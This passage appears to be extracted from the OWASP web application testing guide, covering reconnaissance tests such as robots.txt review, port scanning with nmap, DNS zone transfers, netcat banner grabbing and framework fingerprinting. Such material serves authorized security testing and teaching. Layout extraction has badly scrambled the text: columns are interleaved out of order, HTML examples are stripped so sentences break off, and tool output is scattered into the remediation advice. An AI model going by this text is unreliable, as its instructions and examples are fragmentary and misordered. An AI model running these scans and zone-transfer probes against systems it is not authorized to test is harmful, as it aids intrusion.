cmlh$Analyze robots.txt using Google Webmaster Tools Web site owners can use the Google “Analyze robots.txt” function to analyse the website as part of its “Google Webmaster Tools” (https:// www.google.com/webmasters/tools). This tool can assist with testing and the procedure is as follows: 1. Sign into Google Webmaster Tools with a Google account. 2. On the dashboard, write the URL for the site to be analyzed. 3. Choose between the available methods and follow the on screen instruction. META Tag tags are located within the HEAD section of each HTML Document and should be consistent across a web site in the likely event that the robot/spider/crawler start point does not begin from a document link other than webroot i.e. a “deep link”[5]. If there is no “” entry then the “Robots Exclusion Protocol” defaults to “INDEX,FOLLOW” respectively. Therefore, the other two valid entries defined by the “Robots Exclusion Protocol” are prefixed with “NO...” i.e. “NOINDEX” and “NOFOLLOW”. Web spiders/robots/crawlers can intentionally ignore the “ Tags should not be considered the primary mechanism, rather a complementary control to robots.txt. Tags - with Burp Based on the Disallow directive(s) listed within the robots.txt file in webroot, a regular expression search for “ Tag specified by the “Robots Exclusion Protocol” yet “Disallow: /ac.php” is listed in robots.txt. Tools • Browser (View Source function) • curl • wget • rockspider[7] References Whitepapers [1] “The Web Robots Pages” - http://www.robotstxt.org/ [2] “Block and Remove Pages Using a robots.txt File” - https://support. google.com/webmasters/answer/156449 [3] “(ISC)2 Blog: The Attack of the Spiders from the Clouds” - http:// blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html [4] “Telstra customer database exposed” - http://www.smh. com.au/it-pro/security-it/telstra-customer-database-exposed-20111209-1on60.html Enumerate Applications on Webserver (OTG-INFO-004) Summary A paramount step in testing for web application vulnerabilities is to find out which particular applications are hosted on a web server. Many applications have known vulnerabilities and known attack strategies that can be exploited in order to gain remote control or to exploit data. In addition, many applications are often misconfigured or not updated, due to the perception that they are only used “internally” and therefore no threat exists. With the proliferation of virtual web servers, the traditional 1:1-type relationship between an IP address and a web server is losing much of its original significance. It is not uncommon to have multiple web sites or applications whose symbolic names resolve to the same IP address. This scenario is not limited to hosting environments, but also applies to ordinary corporate environments as well. Security professionals are sometimes given a set of IP addresses as a target to test. It is arguable that this scenario is more akin to a penetration test-type engagement, but in any case it is expected that such an assignment would test all web applications accessible through this target. The problem is that the given IP address hosts an HTTP service on port 80, but if a tester should access it by specifying the IP address (which is all they know) it reports “No web server configured at this address” or a similar message. But that system could “hide” a number of web applications, associated to unrelated symbolic (DNS) names. Obviously, the extent of the analysis is deeply affected by the tester tests all applications or only tests the applications that they are aware of. Sometimes, the target specification is richer. The tester may be given a list of IP addresses and their corresponding symbolic names. Nevertheless, this list might convey partial information, i.e., it could omit some symbolic names and the client may not even being aware of that (this is more likely to happen in large organizations). Other issues affecting the scope of the assessment are represented by web applications published at non-obvious URLs (e.g., http://www. example.com/some-strange-URL), which are not referenced else- 35 Web Application Penetration Testing where. This may happen either by error (due to misconfigurations), or intentionally (for example, unadvertised administrative interfaces). To address these issues, it is necessary to perform web application discovery. Test Objectives Enumerate the applications within scope that exist on a web server How to Test Black Box Testing Web application discovery is a process aimed at identifying web applications on a given infrastructure. The latter is usually specified as a set of IP addresses (maybe a net block), but may consist of a set of DNS symbolic names or a mix of the two. This information is handed out prior to the execution of an assessment, be it a classic-style penetration test or an application-focused assessment. In both cases, unless the rules of engagement specify otherwise (e.g., “test only the application located at the URL http://www.example.com/”), the assessment should strive to be the most comprehensive in scope, i.e. it should identify all the applications accessible through the given target. The following examples examine a few techniques that can be employed to achieve this goal. Note: Some of the following techniques apply to Internet-facing web servers, namely DNS and reverse-IP web-based search services and the use of search engines. Examples make use of private IP addresses (such as 192.168.1.100), which, unless indicated otherwise, represent generic IP addresses and are used only for anonymity purposes. There are three factors influencing how many applications are related to a given DNS name (or an IP address): 1. Different base URL The obvious entry point for a web application is www.example. com, i.e., with this shorthand notation we think of the web application originating at http://www.example.com/ (the same applies for https). However, even though this is the most common situation, there is nothing forcing the application to start at “/”. For example, the same symbolic name may be associated to three web applications such as: http://www.example.com/url1 http:// www.example.com/url2 http://www.example.com/url3 In this case, the URL http://www.example.com/ would not be associated with a meaningful page, and the three applications would be “hidden”, unless the tester explicitly knows how to reach them, i.e., the tester knows url1, url2 or url3. There is usually no need to publish web applications in this way, unless the owner doesn’t want them to be accessible in a standard way, and is prepared to inform the users about their exact location. This doesn’t mean that these applications are secret, just that their existence and location is not explicitly advertised. 2. Non-standard ports While web applications usually live on port 80 (http) and 443 (https), there is nothing magic about these port numbers. In fact, web applications may be associated with arbitrary TCP ports, and can be referenced by specifying the port number as follows: http[s]://www. example.com:port/. For example, http://www.example.com:20000/. 3. Virtual hosts DNS allows a single IP address to be associated with one or more symbolic names. For example, the IP address 192.168.1.100 might be associated to DNS names www.example.com, helpdesk.example. com, webmail.example.com. It is not necessary that all the names belong to the same DNS domain. This 1-to-N relationship may be reflected to serve different content by using so called virtual hosts. The information specifying the virtual host we are referring to is embedded in the HTTP 1.1 Host: header [1]. One would not suspect the existence of other web applications in addition to the obvious www.example.com, unless they know of helpdesk.example.com and webmail.example.com. Approaches to address issue 1 - non-standard URLs There is no way to fully ascertain the existence of non-standardnamed web applications. Being non-standard, there is no fixed criteria governing the naming convention, however there are a number of techniques that the tester can use to gain some additional insight. First, if the web server is mis-configured and allows directory browsing, it may be possible to spot these applications. Vulnerability scanners may help in this respect. Second, these applications may be referenced by other web pages and there is a chance that they have been spidered and indexed by web search engines. If testers suspect the existence of such “hidden” applications on www.example.com they could search using the site operator and examining the result of a query for “site: www.example. com”. Among the returned URLs there could be one pointing to such a non-obvious application. Another option is to probe for URLs which might be likely candidates for non-published applications. For example, a web mail front end might be accessible from URLs such as https://www.example.com/webmail, https://webmail.example.com/, or https://mail.example.com/. The same holds for administrative interfaces, which may be published at hidden URLs (for example, a Tomcat administrative interface), and yet not referenced anywhere. So doing a bit of dictionary-style searching (or “intelligent guessing”) could yield some results. Vulnerability scanners may help in this respect. Approaches to address issue 2 - non-standard ports It is easy to check for the existence of web applications on non-standard ports. A port scanner such as nmap [2] is capable of performing service recognition by means of the -sV option, and will identify http[s] services on arbitrary ports. What is required is a full scan of the whole 64k TCP port address space. For example, the following command will look up, with a TCP connect scan, all open ports on IP 192.168.1.100 and will try to determine what services are bound to them (only essential switches are shown – nmap features a broad set of options, whose discussion is out of scope): nmap –PN –sT –sV –p0-65535 192.168.1.100 It is sufficient to examine the output and look for http or the indication of SSL-wrapped services (which should be probed to confirm that they are https). For example, the output of the previous command coullook like: 36 Web Application Penetration Testing 901/tcp open http Samba SWAT administration server 1241/tcp open ssl Nessus security scanner 3690/tcp open unknown 8000/tcp open http-alt? 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 From this example, one see that: • There is an Apache http server running on port 80. • It looks like there is an https server on port 443 (but this needs to be confirmed, for example, by visiting https://192.168.1.100 with a browser). • On port 901 there is a Samba SWAT web interface. • The service on port 1241 is not https, but is the SSL-wrapped Nessus daemon. • Port 3690 features an unspecified service (nmap gives back its fingerprint - here omitted for clarity - together with instructions to submit it for incorporation in the nmap fingerprint database, provided you know which service it represents). • Another unspecified service on port 8000; this might possibly be http, since it is not uncommon to find http servers on this port. Let’s examine this issue: Interesting ports on 192.168.1.100: (The 65527 ports scanned but not shown below are in state: closed) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99) 80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux)) 443/tcp open ssl OpenSSL This confirms that in fact it is an HTTP server. Alternatively, testers could have visited the URL with a web browser; or used the GET or HEAD Perl commands, which mimic HTTP interactions such as the one given above (however HEAD requests may not be honored by all servers). • Apache Tomcat running on port 8080. The same task may be performed by vulnerability scanners, but first check that the scanner of choice is able to identify http[s] services running on non-standard ports. For example, Nessus [3] is capable of identifying them on arbitrary ports (provided it is instructed to scan all the ports), and will provide, with respect to nmap, a number of tests on known web server vulnerabilities, as well as on the SSL configuration of https services. As hinted before, Nessus is also able to spot popular applications or web interfaces which could otherwise go unnoticed (for example, a Tomcat administrative interface). Approaches to address issue 3 - virtual hosts There are a number of techniques which may be used to identify DNS names associated to a given IP address x.y.z.t. DNS zone transfers This technique has limited use nowadays, given the fact that zone transfers are largely not honored by DNS servers. However, it may be worth a try. First of all, testers must determine the name servers serving x.y.z.t. If a symbolic name is known for x.y.z.t (let it be www. example.com), its name servers can be determined by means of tools such as nslookup, host, or dig, by requesting DNS NS records. If no symbolic names are known for x.y.z.t, but the target definition contains at least a symbolic name, testers may try to apply the same process and query the name server of that name (hoping that x.y.z.t will be served as well by that name server). For example, if the target consists of the IP address x.y.z.t and the name mail.example.com, determine the name servers for domain example.com. The following example shows how to identify the name servers for www.owasp.org by using the host command:$ host -t ns www.owasp.org
www.owasp.org is an alias for owasp.org.
owasp.org name server ns1.secure.net.
owasp.org name server ns2.secure.net.

A zone transfer may now be requested to the name servers for domain example.com. If the tester is lucky, they will get back a list of the
DNS entries for this domain. This will include the obvious www.example.com and the not-so-obvious helpdesk.example.com and webmail.
example.com (and possibly others). Check all names returned by the
zone transfer and consider all of those which are related to the target
being evaluated.
Trying to request a zone transfer for owasp.org from one of its name
servers:
$host -l www.owasp.org ns1.secure.net Using domain server: Name: ns1.secure.net Address: 192.220.124.10#53 Aliases: Host www.owasp.org not found: 5(REFUSED) ; Transfer failed. DNS inverse queries This process is similar to the previous one, but relies on inverse (PTR) DNS records. Rather than requesting a zone transfer, try setting the record type to PTR and issue a query on the given IP address. If the testers are lucky, they may get back a DNS name entry. This technique relies on the existence of IP-to-symbolic name maps, which is not guaranteed. Web-based DNS searches This kind of search is akin to DNS zone transfer, but relies on webbased services that enable name-based searches on DNS. One such service is the Netcraft Search DNS service, available at http:// searchdns.netcraft.com/?host. The tester may query for a list of names belonging to your domain of choice, such as example.com. Then they will check whether the names they obtained are pertinent to the target they are examining. 37 Web Application Penetration Testing Reverse-IP services Reverse-IP services are similar to DNS inverse queries, with the difference that the testers query a web-based application instead of a name server. There are a number of such services available. Since they tend to return partial (and often different) results, it is better to use multiple services to obtain a more comprehensive analysis. Gray Box Testing Not applicable. The methodology remains the same as listed in Black Box testing no matter how much information the tester starts with. Tools MSN search: http://search.msn.com syntax: “ip:x.x.x.x” (without the quotes) • DNS lookup tools such as nslookup, dig and similar. • Search engines (Google, Bing and other major search engines). • Specialized DNS-related web-based search service: see text. • Nmap - http://www.insecure.org • Nessus Vulnerability Scanner - http://www.nessus.org • Nikto - http://www.cirt.net/nikto2 Webhosting info: http://whois.webhosting.info/ syntax: http:// whois.webhosting.info/x.x.x.x References Whitepapers [1] RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 DNSstuff: http://www.dnsstuff.com/ (multiple services available) Review webpage comments and metadata for information leakage (OTG-INFO-005) Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (requires free membership) http://www.net-square.com/mspawn.html (multiple queries on domains and IP addresses, requires installation) tomDNS: http://www.tomdns.net/index.php (some services are still private at the time of writing) SEOlogs.com: http://www.seologs.com/ip-domains.html (reverse-IP/domain lookup) The following example shows the result of a query to one of the above reverse-IP services to 216.48.3.18, the IP address of www.owasp.org. Three additional non-obvious symbolic names mapping to the same address have been revealed. Summary It is very common, and even recommended, for programmers to include detailed comments and metadata on their source code. However, comments and metadata included into the HTML code might reveal internal information that should not be available to potential attackers. Comments and metadata review should be done in order to determine if any information is being leaked. Test Objectives Review webpage comments and metadata to better understand the application and to find any information leakage. How to Test HTML comments are often used by the developers to include debugging information about the application. Sometimes they forget about the comments and they leave them on in production. Testers should look for HTML comments which start with “”. Black Box Testing Check HTML source code for comments containing sensitive information that can help the attacker gain more insight about the application. It might be SQL code, usernames and passwords, internal IP addresses, or debugging information. ... Googling Following information gathering from the previous techniques, testers can rely on search engines to possibly refine and increment their analysis. This may yield evidence of additional symbolic names belonging to the target, or applications accessible via non-obvious URLs. For instance, considering the previous example regarding www. owasp.org, the tester could query Google and other search engines looking for information (hence, DNS names) related to the newly discovered domains of webgoat.org, webscarab.com, and webscarab. net. Googling techniques are explained in Testing: Spiders, Robots, and Crawlers. 1Mary 2Peter 3Joe ... The tester may even find something like this: 38 Web Application Penetration Testing Check HTML version information for valid version numbers and Data Type Definition (DTD) URLs will advise robots to not index and not follow links on the HTML page containing the tag. • “strict.dtd” -- default strict DTD • “loose.dtd” -- loose DTD • “frameset.dtd” -- DTD for frameset documents The Platform for Internet Content Selection (PICS) and Protocol for Web Description Resources (POWDER) provide infrastructure for associating meta data with Internet content. Some Meta tags do not provide active attack vectors but instead allow an attacker to profile an application to Gray Box Testing Not applicable. Some Meta tags alter HTTP response headers, such as http-equiv that sets an HTTP response header based on the the content attribute of a meta element, such as: which will result in the HTTP header: Expires: Fri, 21 Dec 2012 12:34:56 GMT and will result in Cache-Control: no-cache Test to see if this can be used to conduct injection attacks (e.g. CRLF attack). It can also help determine the level of data leakage via the browser cache. A common (but not WCAG compliant) Meta tag is the refresh. A common use for Meta tag is to specify keywords that a search engine may use to improve the quality of search results. Although most web servers manage search engine indexing via the robots.txt file, it can also be managed by Meta tags. The tag below Tools • Wget • Browser “view source” function • Eyeballs • Curl References Whitepapers [1] http://www.w3.org/TR/1999/REC-html401-19991224 HTML version 4.01 [2] http://www.w3.org/TR/2010/REC-xhtml-basic-20101123/ XHTML (for small devices) [3] http://www.w3.org/TR/html5/ HTML version 5 Identify application entry points (OTG-INFO-006) Summary Enumerating the application and its attack surface is a key precursor before any thorough testing can be undertaken, as it allows the tester to identify likely areas of weakness. This section aims to help identify and map out areas within the application that should be investigated once enumeration and mapping have been completed. Test Objectives Understand how requests are formed and typical responses from the application How to Test Before any testing begins, the tester should always get a good understanding of the application and how the user and browser communicates with it. As the tester walks through the application, they should pay special attention to all HTTP requests (GET and POST Methods, also known as Verbs), as well as every parameter and form field that is passed to the application. In addition, they should pay attention to when GET requests are used and when POST requests are used to pass parameters to the application. It is very common that GET requests are used, but when sensitive information is passed, it is often done within the body of a POST request. Note that to see the parameters sent in a POST request, the tester will need to use a tool such as an intercepting proxy (for example, OWASP: Zed Attack Proxy (ZAP)) or a browser plug-in. Within the POST request, the tester should also make special note of any hidden form fields that are being passed to the application, as these usually contain sensitive information, such as state information, quantity of items, the price of items, that the developer never intended for you to see or change. 39 Web Application Penetration Testing In the author’s experience, it has been very useful to use an intercepting proxy and a spreadsheet for this stage of the testing. The proxy will keep track of every request and response between the tester and the application as they u walk through it. Additionally, at this point, testers usually trap every request and response so that they can see exactly every header, parameter, etc. that is being passed to the application and what is being returned. This can be quite tedious at times, especially on large interactive sites (think of a banking application). However, experience will show what to look for and this phase can be significantly reduced. As the tester walks through the application, they should take note of any interesting parameters in the URL, custom headers, or body of the requests/responses, and save them in a spreadsheet. The spreadsheet should include the page requested (it might be good to also add the request number from the proxy, for future reference), the interesting parameters, the type of request (POST/GET), if access is authenticated/unauthenticated, if SSL is used, if it’s part of a multi-step process, and any other relevant notes. Once they have every area of the application mapped out, then they can go through the application and test each of the areas that they have identified and make notes for what worked and what didn’t work. The rest of this guide will identify how to test each of these areas of interest, but this section must be undertaken before any of the actual testing can commence. Below are some points of interests for all requests and responses. Within the requests section, focus on the GET and POST methods, as these appear the majority of the requests. Note that other methods, such as PUT and DELETE, can be used. Often, these more rare requests, if allowed, can expose vulnerabilities. There is a special section in this guide dedicated for testing these HTTP methods. Requests: • Identify where GETs are used and where POSTs are used. • Identify all parameters used in a POST request (these are in the body of the request). • Within the POST request, pay special attention to any hidden parameters. When a POST is sent all the form fields (including hidden parameters) will be sent in the body of the HTTP message to the application. These typically aren’t seen unless a proxy or view the HTML source code is used. In addition, the next page shown, its data, and the level of access can all be different depending on the value of the hidden parameter(s). • Identify all parameters used in a GET request (i.e., URL), in particular the query string (usually after a ? mark). • Identify all the parameters of the query string. These usually are in a pair format, such as foo=bar. Also note that many parameters can be in one query string such as separated by a &, ~, :, or any other special character or encoding. • A special note when it comes to identifying multiple parameters in one string or within a POST request is that some or all of the parameters will be needed to execute the attacks. The tester needs to identify all of the parameters (even if encoded or encrypted) and identify which ones are processed by the application. Later sections of the guide will identify how to test these parameters. At this point, just make sure each one of them is identified. • Also pay attention to any additional or custom type headers not typically seen (such as debug=False). Responses: • Identify where new cookies are set (Set-Cookie header), modified, or added to. • Identify where there are any redirects (3xx HTTP status code), 400 status codes, in particular 403 Forbidden, and 500 internal server errors during normal responses (i.e., unmodified requests). • Also note where any interesting headers are used. For example, “Server: BIG-IP” indicates that the site is load balanced. Thus, if a site is load balanced and one server is incorrectly configured, then the tester might have to make multiple requests to access the vulnerable server, depending on the type of load balancing used. Black Box Testing Testing for application entry points: The following are two examples on how to check for application entry points. EXAMPLE 1 This example shows a GET request that would purchase an item from an online shopping application. GET https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&ITEM=z101a&PRICE=62.50&IP=x.x.x.x Host: x.x.x.x Cookie: SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIGZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy Result Expected: Here the tester would note all the parameters of the request such as CUSTOMERID, ITEM, PRICE, IP, and the Cookie (which could just be encoded parameters or used for session state). EXAMPLE 2 This example shows a POST request that would log you into an application. POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?service=login Host: x.x.x.x Cookie: SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIHByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIzNA== CustomCookie=00my00trusted00ip00is00x.x.x.x00 Body of the POST message: user=admin&pass=pass123&debug=true&fromtrustIP=true Result Expected: In this example the tester would note all the parameters as they have before but notice that the parameters are passed in the body of the message and not in the URL. Additionally, note that there is a custom cookie that is being used. 40 Web Application Penetration Testing Gray Box Testing Testing for application entry points via a Gray Box methodology would consist of everything already identified above with one addition. In cases where there are external sources from which the application receives data and processes it (such as SNMP traps, syslog messages, SMTP, or SOAP messages from other servers) a meeting with the application developers could identify any functions that would accept or expect user input and how they are formatted. For example, the developer could help in understanding how to formulate a correct SOAP request that the application would accept and where the web service resides (if the web service or any other function hasn’t already been identified during the black box testing). Tools Intercepting Proxy: • OWASP: Zed Attack Proxy (ZAP) • OWASP: WebScarab • Burp Suite • CAT Browser Plug-in: • TamperIE for Internet Explorer • Tamper Data for Firefox References Whitepapers • RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 http://tools.ietf.org/html/rfc2616 flow, transformation and use of data throughout an application. • Race - tests multiple concurrent instances of the application manipulating the same data. The trade off as to what method is used and to what degree each method is used should be negotiated with the application owner. Simpler approaches could also be adopted, including asking the application owner what functions or code sections they are particularly concerned about and how those code segments can be reached. Black Box Testing To demonstrate code coverage to the application owner, the tester can start with a spreadsheet and document all the links discovered by spidering the application (either manually or automatically). Then the tester can look more closely at decision points in the application and investigate how many significant code paths are discovered. These should then be documented in the spreadsheet with URLs, prose and screenshot descriptions of the paths discovered. Gray/White Box testing Ensuring sufficient code coverage for the application owner is far easier with the gray and white box approach to testing. Information solicited by and provided to the tester will ensure the minimum requirements for code coverage are met. Example Automatic Spidering The automatic spider is a tool used to automatically discover new resources (URLs) on a particular website. It begins with a list of URLs to visit, called the seeds, which depends on how the Spider is started. While there are a lot of Spidering tools, the following example uses the Zed Attack Proxy (ZAP): Map execution paths through application (OTG-INFO-007) Summary Before commencing security testing, understanding the structure of the application is paramount. Without a thorough understanding of the layout of the application, it is unlkely that it will be tested thoroughly. Test Objectives Map the target application and understand the principal workflows. How to Test In black box testing it is extremely difficult to test the entire code base. Not just because the tester has no view of the code paths through the application, but even if they did, to test all code paths would be very time consuming. One way to reconcile this is to document what code paths were discovered and tested. There are several ways to approach the testing and measurement of code coverage: • Path - test each of the paths through an application that includes combinatorial and boundary value analysis testing for each decision path. While this approach offers thoroughness, the number of testable paths grows exponentially with each decision branch. • Data flow (or taint analysis) - tests the assignment of variables via external interaction (normally users). Focuses on mapping the ZAP offers the following automatic spidering features, which can be selected based on the tester’s needs: • Spider Site - The seed list contains all the existing URIs already found for the selected site. • Spider Subtree - The seed list contains all the existing URIs already found and present in the subtree of the selected node. • Spider URL - The seed list contains only the URI corresponding to the selected node (in the Site Tree). • Spider all in Scope - The seed list contains all the URIs the user has selected as being ‘In Scope’. Tools • Zed Attack Proxy (ZAP) 41 Web Application Penetration Testing • List of spreadsheet software • Diagramming software References Whitepapers [1] http://en.wikipedia.org/wiki/Code_coverage Fingerprint Web Application Framework (OTG-INFO-008) Summary Web framework[*] fingerprinting is an important subtask of the information gathering process. Knowing the type of framework can automatically give a great advantage if such a framework has already been tested by the penetration tester. It is not only the known vulnerabilities in unpatched versions but specific misconfigurations in the framework and known file structure that makes the fingerprinting process so important. Several different vendors and versions of web frameworks are widely used. Information about it significantly helps in the testing process, and can also help in changing the course of the test. Such information can be derived by careful analysis of certain common locations. Most of the web frameworks have several markers in those locations which help an attacker to spot them. This is basically what all automatic tools do, they look for a marker from a predefined location and then compare it to the database of known signatures. For better accuracy several markers are usually used. [*] Please note that this article makes no differentiation between Web Application Frameworks (WAF) and Content Management Systems (CMS). This has been done to make it convenient to fingerprint both of them in one chapter. Furthermore, both categories are referenced as web frameworks. Test Objectives To define type of used web framework so as to have a better understanding of the security testing methodology. How to Test Black Box testing There are several most common locations to look in in order to define the current framework: • HTTP headers • Cookies • HTML source code • Specific files and folders HTTP headers The most basic form of identifying a web framework is to look at the X-Powered-By field in the HTTP response header. Many tools can be used to fingerprint a target. The simplest one is netcat utility. Consider the following HTTP Request-Response:$ nc 127.0.0.1 80

HTTP/1.1 200 OK
Server: nginx/1.0.14
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
X-Powered-By: Mono

From the X-Powered-By field, we understand that the web application framework is likely to be Mono. However, although this
approach is simple and quick, this methodology doesn’t work in
100% of cases. It is possible to easily disable X-Powered-By header by a proper configuration. There are also several techniques
that allow a web site to obfuscate HTTP headers (see an example
in #Remediation chapter).
So in the same example the tester could either miss the X-Powered-By header or obtain an answer like the following:
HTTP/1.1 200 OK
Server: nginx/1.0.14
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
X-Powered-By: Blood, sweat and tears
Sometimes there are more HTTP-headers that point at a certain
web framework. In the following example, according to the information from HTTP-request, one can see that X-Powered-By
points out the used framework is actually Swiftlet, which helps a
penetration tester to expand his attack vectors. When performing fingerprinting, always carefully inspect every HTTP-header for
such leaks.
HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Sat, 07 Sep 2013 09:22:52 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.16-1~dotdeb.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, postcheck=0, pre-check=0
Pragma: no-cache
X-Generator: Swiftlet

42

Web Application Penetration Testing

Another similar and somehow more reliable way to determine the
current web framework are framework-specific cookies.
Consider the following HTTP-request:
GET /cake HTTP /1.1
Host: defcon-moscow.org
User-Agent: Mozilla75.0 |Macintosh; Intel Mac OS X 10.7; rv:
22. 0) Gecko/20100101 Firefox/22 . 0
Accept: text/html, application/xhtml + xml, application/xml;
q=0.9, */*; q=0 , 8
Accept - Language: ru-ru, ru; q=0.8, en-us; q=0.5 , en; q=0 . 3
Accept - Encoding: gzip, deflate
DNT: 1
Connection: Keep-alive
Cache-Control: max-age=0
The cookie CAKEPHP has automatically been set, which gives information about the framework being used. List of common cookies names is presented in chapter #Cookies_2. Limitations are the
same - it is possible to change the name of the cookie. For example, for the selected CakePHP framework this could be done by
the following configuration (excerpt from core.php):
/**
* The name of CakePHP’s session cookie.
*
* Note the guidelines for Session names states: “The session
name references
* the session id in cookies and URLs. It should contain only alphanumeric
* characters.”
*/
However, these changes are less likely to be made than changes
to the X-Powered-By header, so this approach can be considered
as more reliable.
HTML source code
This technique is based on finding certain patterns in the HTML
page source code. Often one can find a lot of information which
helps a tester to recognize a specific web framework. One of
framework disclosure. More often certain framework-specific
paths can be found, i.e. links to framework-specific css and/or js
folders. Finally, specific script variables might also point to a certain framework.
From the screenshot below one can easily learn the used framework and its version by the mentioned markers. The comment,
specific paths and script variables can all help an attacker to
quickly determine an instance of ZK framework.

More frequently such information is placed between  tags, in  tags or at the end of the page.
Nevertheless, it is recommended to check the whole document
since it can be useful for other purposes such as inspection of other useful comments and hidden fields. Sometimes, web developers do not care much about hiding information about the framework used. It is still possible to stumble upon something like this
at the bottom of the page:

Common frameworks

Framework

Zope

BITRIX_

CakePHP

AMP

Laravel

django

HTML source code
General Markers

%framework_name%
built upon
running

Specific markers

Framework

Keyword

Indexhibit

ndxz-studio

Specific files and folders
Specific files and folders are different for each specific framework. It is recommended to install the corresponding framework
during penetration tests in order to have better understanding
of what infrastructure is presented and what files might be left
on the server. However, several good file lists already exist and
one good example is FuzzDB wordlists of predictable files/folders

Tools

A list of general and well-known tools is presented below. There
are also a lot of other utilities, as well as framework-based fingerprinting tools.
WhatWeb
Website: http://www.morningstarsecurity.com/research/whatweb
Currently one of the best fingerprinting tools on the market. Included
in a default Kali Linux build. Language: Ruby Matches for fingerprinting
• Text strings (case sensitive)
• Regular expressions
• Google Hack Database queries (limited set of keywords)
• MD5 hashes
• URL recognition
• HTML tag patterns

43

Web Application Penetration Testing

• Custom ruby code for passive and aggressive operations

Wappalyzer
Website: http://wappalyzer.com
Wapplyzer is a Firefox Chrome plug-in. It works only on regular expression matching and doesn’t need anything other than the page
to be loaded on browser. It works completely at the browser level
and gives results in the form of icons. Although sometimes it has
false positives, this is very handy to have notion of what technologies were used to construct a target website immediately after
browsing a page.
Sample output of a plug-in is presented on a screenshot below.

Sample output is presented on a screenshot below:
BlindElephant
Website: https://community.qualys.com/community/blindelephant
This great tool works on the principle of static file checksum based
version difference thus providing a very high quality of fingerprinting. Language: Python
Sample output of a successful fingerprint:
pentester$python BlindElephant.py http://my_target drupal Loaded /Library/Python/2.7/site-packages/blindelephant/ dbs/drupal.pkl with 145 versions, 478 differentiating paths, and 434 version groups. Starting BlindElephant fingerprint for version of drupal at http://my_target Hit http://my_target/CHANGELOG.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 527b085a3717bd691d47713dff74acf4 Hit http://my_target/INSTALL.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4 Hit http://my_target/misc/drupal.js Possible versions based on result: 7.12, 7.13, 7.14 References Whitepapers • Saumil Shah: “An Introduction to HTTP fingerprinting” - http:// www.net-square.com/httprint_paper.html • Anant Shrivastava : “Web Application Finger Printing” - http:// anantshri.info/articles/web_app_finger_printing.html Remediation The general advice is to use several of the tools described above and check logs to better understand what exactly helps an attacker to disclose the web framework. By performing multiple scans after changes have been made to hide framework tracks, it’s possible to achieve a better level of security and to make sure of the framework can not be detected by automatic scans. Below are some specific recommendations by framework marker location and some additional interesting approaches. Hit http://my_target/MAINTAINERS.txt File produced no match. Error: Retrieved file doesn’t match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca HTTP headers Check the configuration and disable or obfuscate all HTTP-headers that disclose information the technologies used. Here is an interesting article about HTTP-headers obfuscation using Netscaler: http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-using-netscaler.html Hit http://my_target/themes/garland/style.css Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14 ... Cookies It is recommended to change cookie names by making changes in the corresponding configuration files. Fingerprinting resulted in: 7.14 HTML source code Manually check the contents of the HTML code and remove everything that explicitly points to the framework. Best Guess: 7.14 General guidelines: • Make sure there are no visual markers disclosing the framework 44 Web Application Penetration Testing • Remove any unnecessary comments (copyrights, bug information, specific framework comments) • Remove META and generator tags • Use the companies own css or js files and do not store those in a framework-specific folders • Do not use default scripts on the page or obfuscate them if they must be used. that is entirely or partly dependent on these well known applications (e.g. Wordpress, phpBB, Mediawiki, etc). Knowing the web application components that are being tested significantly helps in the testing process and will also drastically reduce the effort required during the test. These well known web applications have known HTML headers, cookies, and directory structures that can be enumerated to identify the application. Specific files and folders General guidelines: Test Objectives Identify the web application and version to determine known vulnerabilities and the appropriate exploits to use during testing. • Remove any unnecessary or unused files on the server. This implies text files disclosing information about versions and installation too. • Restrict access to other files in order to achieve 404-response when accessing them from outside. This can be done, for example, by modifying htaccess file and adding RewriteCond or RewriteRule there. An example of such restriction for two common WordPress folders is presented below. RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]
RewriteCond %{REQUEST_URI} /wp-admin/$RewriteRule$ /http://your_website [R=404,L]

However, these are not the only ways to restrict access. In order to
automate this process, certain framework-specific plugins exist.
One example for WordPress is StealthLogin (http://wordpress.org/
General guidelines:
[1] Checksum management
The purpose of this approach is to beat checksum-based scanners
and not let them disclose files by their hashes. Generally, there are
two approaches in checksum management:
• Change the location of where those files are placed (i.e. move
them to another folder, or rename the existing folder)
• Modify the contents - even slight modification results in a
completely different hash sum, so adding a single byte in the end
of the file should not be a big problem.
[2] Controlled chaos
A funny and effective method that involves adding bogus files and
folders from other frameworks in order to fool scanners and confuse an attacker. But be careful not to overwrite existing files and
folders and to break the current framework!

Fingerprint Web Application
(OTG-INFO-009)

Summary
There is nothing new under the sun, and nearly every web application that one may think of developing has already been developed.
With the vast number of free and open source software projects
that are actively developed and deployed around the world, it is
very likely that an application security test will face a target site

How to Test
A relatively reliable way to identify a web application is by the application-specific cookies.
Consider the following HTTP-request:

GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0)
Gecko/20100101 Firefox/31.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
